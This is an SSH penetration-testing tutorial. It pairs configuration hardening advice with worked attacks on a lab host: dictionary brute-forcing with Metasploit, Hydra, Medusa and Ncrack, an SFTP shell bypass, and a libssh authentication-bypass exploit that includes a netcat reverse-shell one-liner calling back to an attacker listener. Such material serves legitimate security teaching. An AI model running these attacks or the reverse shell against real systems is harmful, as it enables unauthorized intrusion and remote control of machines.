TURGENSEC

PENTESTING TUTORIALS

SSH Pentesting Guide

A Comprehensive Guide to Breaking SSH. Written by Alexandre Zanni.

SSH Pentesting Guide

In this guide, I will:

- Quickly introduce the SSH protocol and implementations.
- Expose some common configuration mistakes then showcase some attacks on the protocol & implementations.
- Present some SSH pentesting & blue team tools.

- Give a standard reference for security guidelines and finally talk about an article I previously wrote on the topic of network pivoting.

Contents [hide]

What are SSH and SFTP?

SSH is a secure remote shell protocol used for operating network services
securely over an unsecured network. The default SSH port is 22, it's common to see it open on servers on Internet or Intranets.

SFTP is the SSH File Transfer Protocol, a protocol used to transfer files over an SSH connection. Most SSH implementations are also supporting SFTP.

SSH servers/libs

The most famous and common SSH server and client is openSSH (*OpenBSD Secure Shell*). It's a strong implementation which is well maintained and was first released in 1999. So this is the implementation you will see the most often on BSD, Linux and even Windows as it is shipped in Windows since Windows 10.

But openSSH is not the only implementation, here are other ones:

SSH servers:

- openSSH – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
- Dropbear – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
- PuTTY – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
- CopSSH – implementation of OpenSSH for Windows

SSH libraries (implementing server-side):

- libssh – multiplatform C library implementing the SSHv2 protocol with bindings in Python, Perl and R; it's used by KDE for sftp and by GitHub for the git SSH infrastructure
- wolfSSH – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
- Apache MINA SSHD – Apache SSHD java library is based on Apache MINA
- paramiko – Python SSHv2 protocol library

Common configuration mistakes

Root login

By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.

How to disable root login for openSSH:

1. Edit SSH server configuration `sudoedit /etc/ssh/sshd_config`
2. Change `#PermitRootLogin yes` into `PermitRootLogin no`
3. Take into account configuration changes: `sudo systemctl daemon-reload`
4. Restart the SSH server `sudo systemctl restart sshd`

SFTP command execution

Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like `/usr/bin/nologin` or `/usr/bin/false`) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, a user can ask to execute a command right after authentication before it's default command or shell is executed. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. `/bin/bash`) before, just by doing:

```
$ ssh -v noraj@192.168.1.94 id
...
Password:
```

```
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-
00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-
status reply 0
debug1: client_input_channel_req: channel 0 rtype
eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1
seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash
```

Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`:

```
Match User noraj
        ChrootDirectory %h
        ForceCommand internal-sftp
        AllowTcpForwarding no
        PermitTunnel no
        X11Forwarding no
        PermitTTY no
```

This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.

Authentication methods

On high security environment it's a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:

```
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue:
publickey,password,keyboard-interactive
```

For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method.

```
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```

Review the SSH server configuration is necessary to check that only expected
methods are authorized. Using the verbose mode on the client can help

to see
the effectiveness of the configuration.

Attack showcase

Now we'll see a set of attack examples that you can reproduce on some SSH server implementations.

Password guessing/bruteforce attack

I will now run through an improved variation of "brute forcing" an SSH user password with a password dictionary using four tools: the `metasploit` framework, `hydra`, `medusa` and `ncrack`.

In all cases we will target the machine `192.168.1.94`, on port 22 and will bruteforce only the password of the user `noraj`.

Read the help messages given below if you don't understand an argument/option.

Metasploit

With Metasploit:

```
$ msf5 > search ssh

Matching Modules
================


   #   Name
Disclosure Date  Rank       Check  Description
   -   ----
---------------  ----       -----  -----------
...
   17  auxiliary/scanner/ssh/ssh_login
normal     Yes    SSH Login Check Scanner
```

```
...
msf5 > use 17
msf5 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  
Description
   ----              ---------------  --------  ----------
-
   BLANK_PASSWORDS   false            no        Try blank 
passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast 
to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each 
user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all 
passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all 
users in the current database to the list
   PASSWORD                           no        A specific 
password to authenticate with
   PASS_FILE                          no        File 
containing passwords, one per line
   RHOSTS                             yes       The target 
host(s), range CIDR identifier, or hosts file with syntax 
'file:<path>'
   RPORT             22               yes       The target 
port
   STOP_ON_SUCCESS   false            yes       Stop 
guessing when a credential works for a host
   THREADS           1                yes       The number 
of concurrent threads (max one per host)
   USERNAME                           no        A specific 
```

```
username to authenticate as
   USERPASS_FILE                              no        File
containing users and passwords separated by space, one
pair per line
   USER_AS_PASS      false                    no        Try the
username as the password for all users
   USER_FILE                                  no        File
containing usernames, one per line
   VERBOSE           false                    yes       Whether to
print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE
/usr/share/wordlists/password/rockyou.txt
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS
192.168.1.94
RHOSTS => 192.168.1.94
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set
STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
username => noraj
msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 192.168.1.94:22 - Success: 'noraj:noraj' ''
[*] Command shell session 1 opened (192.168.1.83:37291 ->
192.168.1.94:22) at 2020-01-02 21:33:33 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Hydra

With Hydra:

```
$ hydra -l noraj -P
/usr/share/wordlists/password/rockyou.txt -e s
ssh://192.168.1.94
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use
in military or secret service organizations, or for
illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
starting at 2020-01-02 21:44:28
[WARNING] Many SSH configurations limit the number of
parallel tasks, it is recommended to reduce the tasks: use
-t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks,
14344399 login tries (l:1/p:14344399), ~896525 tries per
task
[DATA] attacking ssh://192.168.1.94:22/
[22][ssh] host: 192.168.1.94   login: noraj   password:
noraj
1 of 1 target successfully completed, 1 valid password
found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
finished at 2020-01-02 21:44:33
```

Extract of the help message:

```
  -l LOGIN or -L FILE  login with LOGIN name, or load
several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several
passwords from FILE
  -e nsr    try "n" null password, "s" login as pass
and/or "r" reversed login
  service   the service to crack (see below for supported
protocols)
```

Medusa

With Medusa:

```
$ medusa -h 192.168.1.94 -u noraj -P
/usr/share/wordlists/password/rockyou.txt -e s -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus
Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0
complete) User: noraj (1 of 1, 0 complete) Password: noraj
(1 of 14344391 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj
Password: noraj [SUCCESS]
```

Extract of the help message:

```
  -h [TEXT]    : Target hostname or IP address
  -u [TEXT]    : Username to test
  -P [FILE]    : File containing passwords to test
  -e [n/s/ns]  : Additional password checks ([n] No
Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without
the .mod extension)
```

Ncrack

With ncrack:

```
$ ncrack --user noraj -P
/usr/share/wordlists/password/rockyou.txt
ssh://192.168.1.94
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02
21:50 CET
```

```
Discovered credentials for ssh on 192.168.1.94 22/tcp:
192.168.1.94 22/tcp ssh: 'noraj' 'noraj'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.
```

Extract of the help message:

```
  -P <filename>: password file
  --user <username_list>: comma-separated username list
```

Exploit – LibSSH RCE

CVE-2018-10933 is the reference for a vulnerability impacting libssh library. This vulnerability allows unauthorized access by bypassing the authentication.

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials. Advisory

When you find a vulnerable version with `nmap` you should see something like that:

```
22/tcp  open    ssh     libssh 0.8.3 (protocol 2.0)
```

`searchsploit` (the tool used to locally browse the Exploit-DB) shows the existing exploits available for `libssh`.

```
searchsploit libssh
-------------------------------------------------------------
----------------------------------- -----------------------
-----------------
 Exploit Title
|  Path

| (/usr/share/exploitdb/)
-------------------------------------------------------------
----------------------------------- -----------------------
-----------------
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
| exploits/linux/remote/46307.py
libSSH - Authentication Bypass
| exploits/linux/remote/45638.py
-------------------------------------------------------------
----------------------------------- -----------------------
-----------------
Shellcodes: No Result
```

So we can use the exploit to execute a command on the target in order to confirm it is working.

```
$ python
/usr/share/exploitdb/exploits/linux/remote/46307.py
192.168.1.94 22 id
uid=0(root) gid=0(root) groups=0(root)
```

Instead of just running a command we can try to execute a reverse shell.

First we start the listener on our machine: `sudo ncat -nlp 80`.

Then we use a sh reverse shell payload in the exploit:

```
python /usr/share/exploitdb/exploits/linux/remote/46307.py
192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"
```

Fuzzing

As fuzzing is complex, I'm only going to highlight two approaches:

- Generic & automated.
- Specific & manual.

Generic & automated approach

It's possible to use a script like sshfuzz.pl to automatically fuzz a live SSH server whatever is the implementation.

It has the advantage of being simple but it's not very targeted so it's going to take a lot of time and miss a lot of results.

Install dependencies and launch the script is as easy as writing those two lines:

```
$ cpan Net::SSH2
$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj
```

Another automated approach that will also work on any live SSH server is to use the metasploit module `auxiliary/fuzzers/ssh/ssh_version_2`:

```
msf5 > use auxiliary/fuzzers/ssh/ssh_version_2
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS
192.168.1.94
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
[*] Running module against 192.168.1.94

[*] 192.168.1.94:22 - Fuzzing with iteration 100 using
fuzzer_string_giant
```

```
[*] 192.168.1.94:22 - Fuzzing with iteration 200 using
fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 300 using
fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 400 using
fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 500 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 600 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 700 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 800 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 900 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 1000 using
fuzzer_string_paths_giant
...
```

Using those tools is easy but you have low chance of finding something exploitable.

Custom & manual approach

If you want to find more significant results and have the time to familiarize yourself with the targeted implementation you can opt for a manual approach.

Here the technique is to use an advanced generic fuzzer on a self-run SSH server and modify the source code to optimize the test execution time. So it will require to configure the fuzzer, configure and build the targeted implementation, detecting the crashes, reducing the use of resource-intensive functions to make the fuzz faster, increasing coverage, create input test-cases and input dictionaries and having a deep understanding of the SSH protocol and of the implementation.

Here is an example of *Vegard Nossum* Fuzzing the OpenSSH daemon using AFL.

Related tools

> “HASSH” is a network fingerprinting standard which can be used to identify specific Client and Server SSH implementations. The fingerprints can be easily stored, searched and shared in the form of an MD5 fingerprint.

HASSH is a standard that helps blue teams to detect, control and investigate brute force or credential stuffing password attempts, exfiltration of data, network discovery and lateral movement, etc.

ssh-audit is a SSH server auditing tool (banner, key exchange, encryption, mac, compression, compatibility, security, etc).

It’s handy for professional pentesters to quickly detect the target version and knowing which algorithms are available on the remote server to be able to give algorithm recommendations to the customer.

Example of use:

```
$ ssh-audit 192.168.1.94
# general
(gen) banner: SSH-2.0-OpenSSH_7.9
(gen) software: OpenSSH 7.9
(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
(gen) compression: enabled (zlib@openssh.com)

# key exchange algorithms
(kex) curve25519-sha256                    -- [warn]
unknown algorithm
(kex) curve25519-sha256@libssh.org         -- [info]
```

```
available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail]
using weak elliptic curves
                                            `- [info]
available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail]
using weak elliptic curves
                                            `- [info]
available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail]
using weak elliptic curves
                                            `- [info]
available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256  -- [warn]
using custom size modulus (possibly weak)
                                            `- [info]
available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512         -- [info]
available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info]
available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [info]
available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1           -- [warn]
using weak hashing algorithm
                                            `- [info]
available since OpenSSH 3.9, Dropbear SSH 0.53

# host-key algorithms
(key) rsa-sha2-512                          -- [info]
available since OpenSSH 7.2
(key) rsa-sha2-256                          -- [info]
available since OpenSSH 7.2
(key) ssh-rsa                               -- [info]
```

```
available since OpenSSH 2.5.0, Dropbear SSH 0.28
(key) ecdsa-sha2-nistp256                  -- [fail]
using weak elliptic curves
                                           `- [warn]
using weak random number generator could reveal the key
                                           `- [info]
available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                          -- [info]
available since OpenSSH 6.5

# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com        -- [info]
available since OpenSSH 6.5
                                           `- [info]
default cipher since OpenSSH 6.9.
(enc) aes128-ctr                           -- [info]
available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                           -- [info]
available since OpenSSH 3.7
(enc) aes256-ctr                           -- [info]
available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com               -- [info]
available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com               -- [info]
available since OpenSSH 6.2

# message authentication code algorithms
(mac) umac-64-etm@openssh.com              -- [warn]
using small 64-bit tag size
                                           `- [info]
available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com             -- [info]
available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com        -- [info]
```

```
available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com         -- [info]
available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com             -- [warn]
using weak hashing algorithm
                                            `- [info]
available since OpenSSH 6.2
(mac) umac-64@openssh.com                   -- [warn]
using encrypt-and-MAC mode
                                            `- [warn]
using small 64-bit tag size
                                            `- [info]
available since OpenSSH 4.7
(mac) umac-128@openssh.com                  -- [warn]
using encrypt-and-MAC mode
                                            `- [info]
available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn]
using encrypt-and-MAC mode
                                            `- [info]
available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn]
using encrypt-and-MAC mode
                                            `- [info]
available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn]
using encrypt-and-MAC mode
                                            `- [warn]
using weak hashing algorithm
                                            `- [info]
available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 7.9)
(rec) -ecdh-sha2-nistp521                   -- kex
```

```
algorithm to remove
(rec) -ecdh-sha2-nistp384                   -- kex
algorithm to remove
(rec) -diffie-hellman-group14-sha1          -- kex
algorithm to remove
(rec) -ecdh-sha2-nistp256                   -- kex
algorithm to remove
(rec) -diffie-hellman-group-exchange-sha256 -- kex
algorithm to remove
(rec) -ecdsa-sha2-nistp256                  -- key
algorithm to remove
(rec) -hmac-sha2-512                        -- mac
algorithm to remove
(rec) -umac-128@openssh.com                 -- mac
algorithm to remove
(rec) -hmac-sha2-256                        -- mac
algorithm to remove
(rec) -umac-64@openssh.com                  -- mac
algorithm to remove
(rec) -hmac-sha1                            -- mac
algorithm to remove
(rec) -hmac-sha1-etm@openssh.com            -- mac
algorithm to remove
(rec) -umac-64-etm@openssh.com              -- mac
algorithm to remove
```

Security guidelines

Mozilla is giving recommendations to help secure an OpenSSH server in this reference guide.

Best current practices regarding secure SSH configuration are also given in a guide called Applied Crypto Hardening. Currently examples of configuration are given for OpenSSH, Cisco ASA and Cisco IOS. The source of the guide is also available.

Pivoting

In 2019, I published an article about network pivoting *Etat de l'art du pivoting réseau en 2019* **[fr-FR].**

This article addresses the following topics that are related to SSH:

- SSH local port forwarding
- SSH reverse remote port forwarding
- SSH dynamic port forwarding
- SSH reverse remote port forwarding + proxy SOCKS
- VPN over SSH
- sshuttle – Transparent proxy over ssh
- Chisel – HTTP tunnel via SSH

Those methods are helpful for a profesional red teamer to make lateral movement in the target network.

About the author

My name is ***Alexandre ZANNI*** aka **noraj**. I'm a Cybersecurity engineer, security auditor, pentester and ethical hacker. Also I'm a staff member of the RTFM association and a developer of BlackArch Linux.

Link – pwn.by/noraj

COMMENTS

OUR SITE FACEBOOK